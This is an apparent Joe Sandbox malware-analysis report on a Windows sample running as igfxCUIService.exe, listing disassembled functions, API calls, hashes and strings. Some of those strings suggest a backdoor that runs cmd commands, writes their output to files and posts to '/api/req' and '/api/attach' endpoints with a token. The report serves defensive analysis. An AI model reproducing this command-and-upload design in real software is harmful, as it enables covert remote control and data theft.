Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID:
String ID: [json.exception.
API String ID: 0-791563284
Opcode ID: 88e3545bb70ee627000e302b473c8c9070389b3bf423bebae96830094c89386d
Instruction ID: 2aa34da19045f218445e90d3973670039318de18c256379b92988e00a9bb78cb
Opcode Fuzzy Hash: 88e3545bb70ee627000e302b473c8c9070389b3bf423bebae96830094c89386d
Instruction Fuzzy Hash: 27912971D002888BEB19CF68C845BAEFBF5EF55300F10469DE814A77D2E7759A85CBA0

Uniqueness

Uniqueness Score: 100.00%

Function 00C0B7FF, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100UNIQUELIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00C0B5A8: GetOEMCP.KERNEL32(00000000,00C0B81A,?,00000000,00C0F573,00C0F573,00000000,00000000,?), ref: 00C0B5D3

_free.LIBCMT ref: 00C0B877

Strings

`6, xrefs: 00C0B90E

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: _free
String ID: `6
API String ID: 269201875-4267953654
Opcode ID: c2244743a914a48a2578bbfa1a98279b1258f0b82d94b828a0b4218c4d51d407
Instruction ID: f9d5576fd303a5a0032da90909923915dcf05a3aeb9269b6181501b061bbb586
Opcode Fuzzy Hash: c2244743a914a48a2578bbfa1a98279b1258f0b82d94b828a0b4218c4d51d407
Instruction Fuzzy Hash: 42319071900249AFDB11DFA8C880B9E77E9EF44314F158269F920AB2E1E731DE50DB50

Uniqueness

Uniqueness Score: 100.00%

Function 00BD2850, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00BD287B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00BD28CA

Part of subcall function 00BF5876: _Yarn.LIBCPMT ref: 00BF5895
Part of subcall function 00BF5876: _Yarn.LIBCPMT ref: 00BF58B9

Strings

bad locale name, xrefs: 00BD28E6

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: d1b37d0d19628b3d432080c3335ae2f5535de9d9bde9cedb5a9127923904655c
Instruction ID: 144a2d91dd275251457adcc31df205eef635e04d7f2999402504da37d47c330d
Opcode Fuzzy Hash: d1b37d0d19628b3d432080c3335ae2f5535de9d9bde9cedb5a9127923904655c
Instruction Fuzzy Hash: 19119E71904B849FD320CF69C80175BBBE8EF19710F008A6EE48AD7B80D7B5A508CBA1

Uniqueness

Uniqueness Score: 3.53%

Function 00BE92E0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41UNIQUE

Download Yara Rule

APIs

Part of subcall function 00BF55C4: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BF55D0

___std_exception_copy.LIBVCRUNTIME ref: 00BE930F
___std_exception_copy.LIBVCRUNTIME ref: 00BE9336

Strings

invalid string position, xrefs: 00BE92E0

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy$std::invalid_argument::invalid_argument
String ID: invalid string position
API String ID: 2082942147-1799206989
Opcode ID: 7931a0aba256eb8e6e62ad2ae24ee2f00f1d4f482c454dc2e1134748a8219980
Instruction ID: c1e4dcf204636d3a97373fa7296a0958b5500dc7ff0f109e6a66fba632afa5db
Opcode Fuzzy Hash: 7931a0aba256eb8e6e62ad2ae24ee2f00f1d4f482c454dc2e1134748a8219980
Instruction Fuzzy Hash: 3CF04FF2911B09ABC701EF65D841882F7ECFE563203108726E62497A00F7B0F5A88BA1

Uniqueness

Uniqueness Score: 100.00%

Analysis Process: igfxCUIService.exe PID: 4384 Parent PID: 5732 igfxCUIService.exeUNIQUE

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1291
Total number of Limit Nodes:	55

Executed Functions

Function 00D34F68, Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE(00D34F74,00D34C42), ref: 00D34F6D

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 1416536697ec8dced1cf9c97badba0f08851010c972df474784e62b3b095adf3
Instruction ID: bd7815238d3f4f0a98c2ed8b53a63e3f7debd7a8350f101fc2f22f657bd09d47
Opcode Fuzzy Hash: 1416536697ec8dced1cf9c97badba0f08851010c972df474784e62b3b095adf3
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: 0.01%

Function 00D1EEF0, Relevance: 70.7, APIs: 5, Strings: 35, Instructions: 656
memoryfileUNIQUE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNEL32(?,00000000,?,00D66C58,?,00D66C58), ref: 00D1F18D
SysAllocStringLen.OLEAUT32(?,?), ref: 00D1F23F
SysAllocStringLen.OLEAUT32(?,?), ref: 00D1F252
SleepEx.KERNEL32(?,00000000,?,?,?,00D66C58,?,00D66C58), ref: 00D1F27F
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,00D66C58,?,00D66C58), ref: 00D1F288

Part of subcall function 00D19CE0: ShellExecuteExW.SHELL32(?), ref: 00D19D3A
Part of subcall function 00D19CE0: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00D19D45

Strings

/api/req, xrefs: 00D21DDC
url, xrefs: 00D20A8E
name, xrefs: 00D20AC8, 00D2106D
\txc1.txt" > ", xrefs: 00D1F971
cannot use operator[] with a string argument with , xrefs: 00D212E6, 00D22E10, 00D22EBC
data, xrefs: 00D2233F, 00D223AB, 00D22575
\txc1.txt" && type ", xrefs: 00D1F8CA
IjkiCA==, xrefs: 00D1F2D5, 00D20785
cmd, xrefs: 00D20E4D, 00D20E5C
cannot get value, xrefs: 00D22C9C, 00D22CE0, 00D22D1F, 00D22D63
/c , xrefs: 00D1F805
ss"}, xrefs: 00D20CFE
\txc2.txt", xrefs: 00D1F9FE
Pj0mFDk=, xrefs: 00D1F32B
\txc2.txt, xrefs: 00D1FD4A, 00D1FD62, 00D1FE8B, 00D1FEA3
request, xrefs: 00D227F6
tion"}, xrefs: 00D20D28
.zip, xrefs: 00D1EFDD, 00D1EFF2
Yyw/Aw==, xrefs: 00D21659
4, xrefs: 00D22ED9
/api/attach, xrefs: 00D21CF4
' ', xrefs: 00D20501, 00D20519
\txc1.txt, xrefs: 00D1FDDE, 00D1FDF6
{"status":"success","result":", xrefs: 00D20F74
remove_reg, xrefs: 00D2105C
command, xrefs: 00D20EEA
" /F, xrefs: 00D21752, 00D21776, 00D217B5
> ", xrefs: 00D1F81E
token=, xrefs: 00D21E2C
exe, xrefs: 00D20A79
cannot use operator[] with a numeric argument with , xrefs: 00D22DB8, 00D22E64
dir, xrefs: 00D20AA9
exit, xrefs: 00D210A4
type, xrefs: 00D20A4C
y ', xrefs: 00D205CB

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: AllocString$CreateDeleteDirectoryExecuteFileObjectShellSingleSleepWait
String ID: > "$" /F$' '$.zip$/api/attach$/api/req$/c $4$IjkiCA==$Pj0mFDk=$Yyw/Aw==$\txc1.txt$\txc1.txt" && type "$\txc1.txt" > "$\txc2.txt$\txc2.txt"$cannot get value$cannot use operator[] with a numeric argument with $cannot use operator[] with a string argument with $cmd$command$data$dir$exe$exit$name$remove_reg$request$ss"}$tion"}$token=$type$url$y '${"status":"success","result":"
API String ID: 2258598679-1644749762
Opcode ID: faedbab76891777c11ab4363b5f8cc14fa9d84ebe34e7a3f1daea47566e3631c
Instruction ID: db3c28ed8310231d028189fa095ab271f6af9abf49055d30897ac0cd2b63beef
Opcode Fuzzy Hash: faedbab76891777c11ab4363b5f8cc14fa9d84ebe34e7a3f1daea47566e3631c
Instruction Fuzzy Hash: EE42B130900649DBEB10DF68D845B9DFBB5EF55318F1882A8E4059B292EF349D45CBB1

Uniqueness

Uniqueness Score: 100.00%

Function 00D3450D, Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 51
libraryloaderUNIQUE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00D6F1D8,00000FA0,?,?,00D344EB), ref: 00D34519
GetModuleHandleW.KERNELBASE(api-ms-win-core-synch-l1-2-0.dll,?,?,00D344EB), ref: 00D34524
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00D344EB), ref: 00D34535
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00D34547
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00D34555
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00D344EB), ref: 00D34578
___scrt_fastfail.LIBCMT ref: 00D34589
DeleteCriticalSection.KERNEL32(00D6F1D8,00000007,?,?,00D344EB), ref: 00D34594
CloseHandle.KERNEL32(00000000,?,?,00D344EB), ref: 00D345A4

Strings

kernel32.dll, xrefs: 00D34530
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00D3451F
SleepConditionVariableCS, xrefs: 00D34541
WakeAllConditionVariable, xrefs: 00D3454D

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 3578986977-3242537097
Opcode ID: 06d71198abbc97e26f76b062836246dbfca7114ae569147b3fdda397bc79c880
Instruction ID: 1f0d2d374b029f3307330a12cb67228f304c3185dea8e0d9e8c86386993293e4
Opcode Fuzzy Hash: 06d71198abbc97e26f76b062836246dbfca7114ae569147b3fdda397bc79c880
Instruction Fuzzy Hash: 85017571E557319FDB101B6DFD0DA663AA8AB417D2B080221FE06D23D4DB6CDC089672

Uniqueness

Uniqueness Score: 100.00%

Function 00D4A8AF, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 301
UNIQUELIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00D4AB50, 00D4AB55

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 2ae1e096bc31375a509d90d4dc0f9dc4ec897901ac9084ff3c0bf4fc2abaf3e8
Instruction ID: ff07c534aabcc7913fc0c65387fc906e81296f056cfb7bd272cb52356e1a094d
Opcode Fuzzy Hash: 2ae1e096bc31375a509d90d4dc0f9dc4ec897901ac9084ff3c0bf4fc2abaf3e8
Instruction Fuzzy Hash: 2EC1DEB4A44349AFDF11DF9CD880BAEBBB2EF49300F084159E945AB392C7749941CB72

Uniqueness

Uniqueness Score: 100.00%

Function 00D53F7A, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D53CC1: CreateFileW.KERNELBASE(00000000,00000000,?,00D54023,?,?,00000000,?,00D54023,00000000,0000000C), ref: 00D53CDE

GetLastError.KERNEL32 ref: 00D5408E
__dosmaperr.LIBCMT ref: 00D54095
GetFileType.KERNELBASE(00000000), ref: 00D540A1
GetLastError.KERNEL32 ref: 00D540AB
__dosmaperr.LIBCMT ref: 00D540B4
CloseHandle.KERNEL32(00000000), ref: 00D540D4
CloseHandle.KERNEL32(00000000), ref: 00D54221
GetLastError.KERNEL32 ref: 00D54253
__dosmaperr.LIBCMT ref: 00D5425A

Strings

H, xrefs: 00D541DF

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: d40d349e02439af984f955b3b15221167080bc8bee22425d5a95ac620f74c646
Instruction ID: 86a3144ec5a9bcf2390b7f218c9514e87bac7d05ae80550936704a8739e89bfa
Opcode Fuzzy Hash: d40d349e02439af984f955b3b15221167080bc8bee22425d5a95ac620f74c646
Instruction Fuzzy Hash: CCA11532A142589FCF199F6CDC91BAE3BA1EB46325F280159EC11EB3D1CB358946C772

Uniqueness

Uniqueness Score: 0.14%

Function 00D19CE0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51
synchronizationUNIQUE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32(?), ref: 00D19D3A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00D19D45

Strings

<, xrefs: 00D19D09
@, xrefs: 00D19D10

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: ExecuteObjectShellSingleWait
String ID: <$@
API String ID: 1289292659-1426351568
Opcode ID: 5432bd940a9541b20b370462781ba93ae44b57affc1b630c98c2caaa0701a4d2
Instruction ID: bd643f9732ae5c6f60a0cf0cccbd56833cd1e9a4bf8eb6a6c5cfb06d8b46d19d
Opcode Fuzzy Hash: 5432bd940a9541b20b370462781ba93ae44b57affc1b630c98c2caaa0701a4d2
Instruction Fuzzy Hash: A0113A71D01619ABDB00CFA8D858B8EFBB4FF49325F148359E824AA2A4DB758944CFD0

Uniqueness

Uniqueness Score: 100.00%

Function 00D21330, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48
UNIQUE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNELBASE(?,00000000,F0B87680,?,?), ref: 00D213AF
SleepEx.KERNELBASE(?,00000000,?,00000000,F0B87680,?,?), ref: 00D213CD
CreateDirectoryW.KERNELBASE(00000000,?,00000000,?,00000000,F0B87680,?,?), ref: 00D213D7

Strings

type, xrefs: 00D20A2A, 00D20A4C

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: Sleep$CreateDirectory
String ID: type
API String ID: 2746843503-2363381545
Opcode ID: 980fc5c70a6c224a3fb67e0015d13486c540574b18b14ffcb9111f554b7d26c1
Instruction ID: b3689a058807341fdccfa6f591d02b92ad8fa3fe3558e2055eb3f2ce9c06be25
Opcode Fuzzy Hash: 980fc5c70a6c224a3fb67e0015d13486c540574b18b14ffcb9111f554b7d26c1
Instruction Fuzzy Hash: FD01F7B5910338ABD710AB68DC06B5BBBBDFB45B11F014125F805E76D1CB7419008AB5

Uniqueness

Uniqueness Score: 100.00%

Function 00D21268, Relevance: 4.6, APIs: 3, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc34073e71088ae788ee5576795708e0ea2f480fa2e3794928b1f195a737bf36
Instruction ID: a107ff7dee9df8548a2407e1bec1fdfd34367503d5980ed599cc21cca849ead6
Opcode Fuzzy Hash: bc34073e71088ae788ee5576795708e0ea2f480fa2e3794928b1f195a737bf36
Instruction Fuzzy Hash: DB418035A001289BDB18DF1CEC467AEB766EBA5315F108139F805D77C1C7389D4087B1

Uniqueness

Uniqueness Score: 0.00%

Function 00D49118, Relevance: 4.6, APIs: 3, Instructions: 61
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(00000000,00000000,00000001,?,00D49046,00000001,00D6D010,0000000C,00D490F8,00000000), ref: 00D4916E
GetLastError.KERNEL32(?,00D49046,00000001,00D6D010,0000000C,00D490F8,00000000), ref: 00D49178
__dosmaperr.LIBCMT ref: 00D491A3

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: ChangeCloseErrorFindLastNotification__dosmaperr
String ID:
API String ID: 490808831-0
Opcode ID: dea73b2ecc90caf73fe71f481f8adde3eb8260d49aa31561ec713a64f1419efe
Instruction ID: 3f874cb4ef8d62aa9f018117b7b2059e952f0f5652d59cbe53f2c6f9a6c7c32b
Opcode Fuzzy Hash: dea73b2ecc90caf73fe71f481f8adde3eb8260d49aa31561ec713a64f1419efe
Instruction Fuzzy Hash: 6A012B32A1532917D771A77AA89F77FA78A8B82730F2D0659F908D72C1DA618C418170

Uniqueness

Uniqueness Score: 2.48%

Function 00D4BE03, Relevance: 4.5, APIs: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNEL32(?,?,00D43021), ref: 00D4BE07
_free.LIBCMT ref: 00D4BE40
FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,00D43021), ref: 00D4BE47

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free_free
String ID:
API String ID: 2716640707-0
Opcode ID: a342dbd1d9b8aec40875c3e4b9f162bcef7bf1fd771cfca8917cf2d1e72af4d1
Instruction ID: 04e7100551ad2dfb564784cfd2dee6fec1ea164f5ac08c7e0c4e6f81573d0503
Opcode Fuzzy Hash: a342dbd1d9b8aec40875c3e4b9f162bcef7bf1fd771cfca8917cf2d1e72af4d1
Instruction Fuzzy Hash: 8BE09B77505B25279212223D7D4A9AF1A0ACFD2671B290336F525962C5EF65CC0641B2

Uniqueness

Uniqueness Score: 0.73%

Function 00D25750, Relevance: 2.6, APIs: 2, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,00000000,00000000,?,?,00000000,?,00D19B59,?,?), ref: 00D2576A
MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,?,-00000001,?,?,00000000,?,00D19B59,?,?), ref: 00D2579D

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 2899bf83815a3a1050b4207c5b9c0b4f86136d3871d9f8c3b15d13aebf49cb0a
Instruction ID: 80790215f181bc7d2faea90604a15bbb227200e74667bb99e15476fd1a8a61cf
Opcode Fuzzy Hash: 2899bf83815a3a1050b4207c5b9c0b4f86136d3871d9f8c3b15d13aebf49cb0a
Instruction Fuzzy Hash: 5111E532345225AFD6209B4CEC89F6EF759EF90764F200219FA14DB3C4CA30AC0187B0

Uniqueness

Uniqueness Score: 0.08%

Function 00D1A890, Relevance: 1.9, APIs: 1, Instructions: 403
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D27040: FindResourceExW.KERNEL32(00000000,00000006,00000001,00000000,00000000,?,?,00000000,?,?,00D19B48,?,?,?,?,/api/req/res), ref: 00D27086

Part of subcall function 00D25750: MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,00000000,00000000,?,?,00000000,?,00D19B59,?,?), ref: 00D2576A
Part of subcall function 00D25750: MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,?,-00000001,?,?,00000000,?,00D19B59,?,?), ref: 00D2579D

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00D1AC7D

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$FindIos_base_dtorResourcestd::ios_base::_
String ID:
API String ID: 1422373393-0
Opcode ID: 964e7c0dfbaf49b402d1b882da9fc4840c6a6a4d3cd80c8aac32a198fa17010b
Instruction ID: bff8f4780150d228150d62e6b532c07b57afea51794014cabb5835f0d3f2dd55
Opcode Fuzzy Hash: 964e7c0dfbaf49b402d1b882da9fc4840c6a6a4d3cd80c8aac32a198fa17010b
Instruction Fuzzy Hash: 2DF1B070A01249DFDB14DF6CE884BADBBB1FF45314F1481A9E815AB291EB309D85CFA1

Uniqueness

Uniqueness Score: 1.47%

Function 00D28810, Relevance: 1.6, APIs: 1, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D12BD0: ___std_exception_copy.LIBVCRUNTIME ref: 00D12C5F

std::locale::_Init.LIBCPMT ref: 00D2889B

Part of subcall function 00D35776: __EH_prolog3.LIBCMT ref: 00D3577D
Part of subcall function 00D35776: std::_Lockit::_Lockit.LIBCPMT ref: 00D35788
Part of subcall function 00D35776: std::locale::_Setgloballocale.LIBCPMT ref: 00D357A3
Part of subcall function 00D35776: _Yarn.LIBCPMT ref: 00D357B9
Part of subcall function 00D35776: std::_Lockit::~_Lockit.LIBCPMT ref: 00D357F9

Part of subcall function 00D29CB0: std::_Lockit::_Lockit.LIBCPMT ref: 00D29CF0
Part of subcall function 00D29CB0: std::_Lockit::_Lockit.LIBCPMT ref: 00D29D12
Part of subcall function 00D29CB0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D29D32
Part of subcall function 00D29CB0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D29E02

Memory Dump Source

Source File: 00000007.00000002.828162617.0000000000D11000.00000020.00020000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000007.00000002.828131915.0000000000D10000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.828679231.0000000000D6E000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.828708646.0000000000D71000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d10000_igfxCUIService.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$std::locale::_$H_prolog3InitSetgloballocaleYarn___std_exception_copy
String ID:
API String ID: 2837286730-0
Opcode ID: d19f6f3ada3d72de7840b2415c82e4d8402d84c89a5288444823ce6f29d4713c
Instruction ID: 869147ab5bd83997f9851e61729a313e12aa41cf7e5c66348b883b5529878fc0
Opcode Fuzzy Hash: d19f6f3ada3d72de7840b2415c82e4d8402d84c89a5288444823ce6f29d4713c
Instruction Fuzzy Hash: C6317CB0A00605AFE700DF64D959B5AFBF4FB44714F104629E4199BB80DBB6A968CBE0

Uniqueness

Uniqueness Score: 0.39%

